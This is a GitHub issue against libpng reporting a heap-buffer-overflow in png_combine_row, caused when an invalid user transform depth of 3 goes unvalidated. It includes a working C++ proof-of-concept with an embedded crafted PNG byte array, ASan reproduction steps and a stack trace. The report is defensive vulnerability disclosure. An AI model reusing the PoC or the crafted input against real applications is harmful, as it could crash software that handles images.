Skip to content

Heap-Buffer-Overflow in png_combine_row via Invalid user_transform_depth #867

Description

@Mike-menny

Summary

A heap-buffer-overflow in png_combine_row caused by png_set_user_transform_info accepting an invalid user_transform_depth (e.g., 3), which is not a valid PNG bit depth (only 1,2,4,8,16 are valid). This leads to undersized row buffer allocation and incorrect loop iteration, resulting in a 4-byte out-of-bounds read.

Version

c0ba09ecb44f (libpng 1.8.0.git, pnggroup/libpng)

Description

png_set_user_transform_info stores user_transform_depth without validation (pngtrans.c:852). When set to 3 for a 4-bit grayscale interlaced PNG:

  1. png_read_transform_info (pngrtran.c:2243) sets info_ptr->bit_depth = 3, producing pixel_depth = 3 and rowbytes = PNG_ROWBYTES(3, 32) = 12.
  2. png_read_png allocates 12-byte row buffers (pngread.c:1146).
  3. png_combine_row computes pixels_per_byte = 8 / 3 = 2 (integer division, pngrutil.c:3592), causing 16 loop iterations for a 32-pixel row — but the buffer is only 12 bytes.

The check at pngrutil.c:3413 passes because PNG_ROWBYTES(3, 32) = 12 = info_rowbytes. The bug is that the loop assumes pixel_depth evenly divides 8, which only holds for valid bit depths.

Pwndbg-verified runtime values: transformed_pixel_depth=3, pixels_per_byte=2, 16 iterations on a 12-byte buffer → overflow at dp[12].

PoC Code

#include <png.h>
#include <string.h>

const unsigned char trigger_input[] = {
  0x00, 0x26, 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00,
  0x00, 0x0d, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
  0x00, 0x20, 0x04, 0x00, 0x00, 0x00, 0x01, 0xe4, 0xe6, 0xf8, 0xbf, 0x00,
  0x00, 0x00, 0xae, 0x49, 0x44, 0x41, 0x54, 0x28, 0xcf, 0x65, 0x8e, 0x51,
  0x11, 0xc2, 0x30, 0x10, 0x44, 0x17, 0x1c, 0x14, 0x1c, 0x14, 0x1c, 0x04,
  0x1c, 0x84, 0x3a, 0x28, 0x75, 0x10, 0xea, 0x20, 0xd4, 0x41, 0xc0, 0x41,
  0xc1, 0x41, 0xc1, 0x41, 0xc0, 0x41, 0x91, 0x10, 0x24, 0x54, 0x03, 0x99,
  0x49, 0x98, 0xce, 0xcd, 0x7e, 0xdc, 0xec, 0xed, 0xbb, 0x9b, 0xdb, 0xc3,
  0xb2, 0x23, 0xc2, 0xb6, 0x45, 0x75, 0x45, 0xfb, 0xc4, 0xba, 0xc1, 0xbe,
  0x43, 0x73, 0x47, 0xf7, 0x41, 0x6c, 0x2e, 0x69, 0x1a, 0x9b, 0x47, 0x5a,
  0x89, 0xcd, 0x27, 0xed, 0xa1, 0x28, 0x95, 0xae, 0x8d, 0xfd, 0xab, 0x43,
  0xd6, 0x1e, 0x59, 0x07, 0x64, 0xf5, 0xc8, 0x3a, 0x22, 0x6b, 0x40, 0xd6,
  0x69, 0xbe, 0xc3, 0x07, 0xf9, 0x32, 0x47, 0x70, 0x16, 0x87, 0x72, 0x3a,
  0xbf, 0x31, 0xff, 0x83, 0xa2, 0x28, 0x4b, 0xa5, 0xb4, 0xae, 0x6b, 0x63,
  0xac, 0x65, 0x20, 0xad, 0x73, 0x0c, 0xa4, 0xed, 0x7b, 0x06, 0xd2, 0x0e,
  0x03, 0x03, 0x69, 0xbd, 0x67, 0x20, 0xed, 0x38, 0x32, 0x90, 0x36, 0x04,
  0x06, 0xd2, 0x4e, 0x13, 0x81, 0x1f, 0x27, 0x81, 0xeb, 0xa9, 0x31, 0xbb,
  0xc4, 0x8f, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42,
  0x60, 0x82, 0xca, 0xfe, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x31, 0x2e, 0x38, 0x2e, 0x30, 0x2e, 0x67, 0x69, 0x74, 0xca, 0xfe,
  0xba, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x2e, 0x38, 0x2e, 0x30, 0x2e, 0x67,
  0x69, 0x74, 0xca, 0xfe, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x64, 0x03, 0xe8
};
const size_t trigger_input_len = 281;

struct reader { const uint8_t *data; size_t size, offset; };

void read_fn(png_structp p, png_bytep buf, png_size_t len) {
    reader *r = (reader *)png_get_io_ptr(p);
    memcpy(buf, r->data + r->offset, len);
    r->offset += len;
}

int main() {
    reader r{trigger_input, trigger_input_len, 0};
    png_structp p = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, 0, 0);
    png_infop ip = png_create_info_struct(p);
    if (setjmp(png_jmpbuf(p))) { png_destroy_read_struct(&p, &ip, 0); return 1; }
    png_set_read_fn(p, &r, read_fn);
    png_set_read_user_transform_fn(p, [](png_structp, png_row_infop, png_bytep) {});
    png_set_user_transform_info(p, NULL, 3, 0); // invalid depth=3
    png_read_png(p, ip, PNG_TRANSFORM_ID, NULL);
    png_destroy_read_struct(&p, &ip, 0);
    return 0;
}

Reproduction Step

clang++ -g -fsanitize=address -I<libpng> poc.cpp -o poc <libpng.a> -lz
./poc

Stack Trace

heap-buffer-overflow on address 0x50200000057c, READ of size 1
    #0 png_combine_row pngrutil.c:3618
    #1 png_read_row   pngread.c
    #2 png_read_image  pngread.c:749
    #3 png_read_png    pngread.c:1149
0x50200000057c is 0 bytes after 12-byte region allocated in png_read_png (pngread.c:1145)

Security Impact

Low severity. Requires the application to pass an invalid user_transform_depth via the public API. Can cause DoS (crash) via segfault in applications that accept untrusted transform parameters. png_set_user_transform_info should validate that user_transform_depth is a valid PNG bit depth (1, 2, 4, 8, or 16).

Signed-off-by: FuzzAnything fuzzanything@gmail.com

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions